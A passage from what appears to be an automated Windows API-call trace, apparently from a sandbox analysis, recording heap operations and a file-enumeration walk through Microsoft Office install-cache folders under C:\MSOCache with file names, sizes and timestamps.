Size=0x80) returned 0xed3e40 [0045.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.446] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbcc8 [0045.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede6e8 [0045.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.453] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.454] GetLastError () returned 0x12 [0045.455] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0045.462] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0045.463] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.465] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.466] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.467] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.470] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.470] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.472] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.474] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.474] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.474] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.474] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.474] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.475] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.475] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.475] GetLastError () returned 0x12 [0045.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0045.475] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0045.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.475] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0045.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.476] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.488] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0045.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.566] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0045.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.566] NtClose (Handle=0x170) returned 0x0 [0045.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0045.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0045.566] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0045.874] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.877] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.878] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.878] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0045.880] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0045.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbce8 [0045.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede7f0 [0045.882] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.882] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.882] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.882] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbd08 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede8f8 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbd28 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedea00 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbd48 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedeb08 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbd68 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedec10 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, 